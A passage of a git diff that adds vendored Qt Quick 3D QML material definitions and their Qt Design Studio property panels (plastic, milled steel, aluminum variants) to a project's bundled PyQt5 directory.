https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real roughness: 0.25 + property real material_ior: 1.46 + property real intensity: 1.0 + property real texture_scaling: 0.1 + property real bump_factor: 0.4 + property vector3d diffuse_color: Qt.vector3d(0.451, 0.04, 0.035) + property vector3d emission_color: Qt.vector3d(0.0, 0.0, 0.0) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy | ShaderInfo.Diffuse + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput emissive_texture: TextureInput { + id: emissiveTexture + enabled: true + texture: Texture { + id: emissiveImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive.png" + } + } + property TextureInput emissive_mask_texture: TextureInput { + id: emissiveMaskTexture + enabled: true + texture: Texture { + id: emissiveMaskImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive_mask.png" + } + } + property TextureInput randomGradient1D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient1D.png" + } + } + property TextureInput randomGradient2D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient2D.png" + } + } + property TextureInput randomGradient3D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient3D.png" + } + } + property TextureInput randomGradient4D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient4D.png" + } + } + + Shader { + id: plasticStructuredRedEmissiveFragShader + stage: Shader.Fragment + shader: "shaders/plasticStructuredRedEmissive.frag" + } + + passes: [ Pass { + shaders: plasticStructuredRedEmissiveFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedMaterial.qml new file mode 100644 index 00000000..ea71d6c7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedMaterial.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real roughness: 0.25 + property real material_ior: 1.46 + property real intensity: 1.0 + property real texture_scaling: 0.1 + property real bump_factor: 0.4 + property vector3d diffuse_color: Qt.vector3d(0.451, 0.04, 0.035) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy | ShaderInfo.Diffuse + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput randomGradient1D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient1D.png" + } + } + property TextureInput randomGradient2D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient2D.png" + } + } + property TextureInput randomGradient3D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient3D.png" + } + } + property TextureInput randomGradient4D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient4D.png" + } + } + + Shader { + id: plasticStructuredRedFragShader + stage: Shader.Fragment + shader: "shaders/plasticStructuredRed.frag" + } + + passes: [ Pass { + shaders: plasticStructuredRedFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/SteelMilledConcentricMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/SteelMilledConcentricMaterial.qml new file mode 100644 index 00000000..2dfebc2f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/SteelMilledConcentricMaterial.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real material_ior: 2.5 + property real anisotropy: 0.8 + property vector2d texture_tiling: Qt.vector2d(8, 5) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + property TextureInput diffuse_texture: TextureInput { + enabled: true + texture: Texture { + id: diffuseTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/concentric_milled_steel.png" + } + } + property TextureInput anisotropy_rot_texture: TextureInput { + enabled: true + texture: Texture { + id: anisoTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/concentric_milled_steel_aniso.png" + } + } + + Shader { + id: steelMilledConcentricFragShader + stage: Shader.Fragment + shader: "shaders/steelMilledConcentric.frag" + } + + passes: [ + Pass { + shaders: steelMilledConcentricFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSection.qml new file mode 100644 index 00000000..fda6cb61 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSection.qml @@ -0,0 +1,188 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Emission") + width: parent.width + SectionLayout { + Label { + text: qsTr("Intensity") + tooltip: qsTr("Set the emission intensity.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.intensity + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map Texture") + tooltip: qsTr("Defines a texture for emissive map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_texture_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("MaskTexture") + tooltip: qsTr("Defines a texture for emissive mask.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_mask_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Emission Color") + width: parent.width + ColorEditor { + caption: qsTr("Emission Color") + backendValue: backendValues.emission_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Base Color") + width: parent.width + ColorEditor { + caption: qsTr("Base Color") + backendValue: backendValues.base_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSpecifics.qml new file mode 100644 index 00000000..f8cb4fa0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AluminumAnodizedEmissiveMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSection.qml new file mode 100644 index 00000000..579ab5c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSection.qml @@ -0,0 +1,131 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Base Color") + width: parent.width + ColorEditor { + caption: qsTr("Base Color") + backendValue: backendValues.base_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSpecifics.qml new file mode 100644 index 00000000..891a2aa2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AluminumAnodizedMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSection.qml new file mode 100644 index 00000000..71530438 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSection.qml @@ -0,0 +1,301 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Metal Color") + width: parent.width + ColorEditor { + caption: qsTr("Metal Color") + backendValue: backendValues.metal_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Roughness") + width: parent.width + SectionLayout { + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a horizontal texture for roughness map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughness_texture_u_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a vertical texture for roughness map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughness_texture_v_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("Reflection") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Stretch") + tooltip: qsTr("Set the material reflection stretch.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_stretch + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a vertical texture for roughness map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughness_texture_v_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Brush") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Strenght") + tooltip: qsTr("Set the strength of the brush strokes.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.brushing_strength + Layout.fillWidth: true + } + } + } + ColumnLayout { + width: parent.width + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Tiling") + tooltip: qsTr("Sets the tiling repeat of the brush map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + } + + Section { + caption: qsTr("Bump") + width: parent.width + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Set the bump map bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bump_texture_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSpecifics.qml new file mode 100644 index 00000000..94da0a5c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AluminumBrushedMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSection.qml new file mode 100644 index 00000000..87b2bfe5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSection.qml @@ -0,0 +1,430 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: 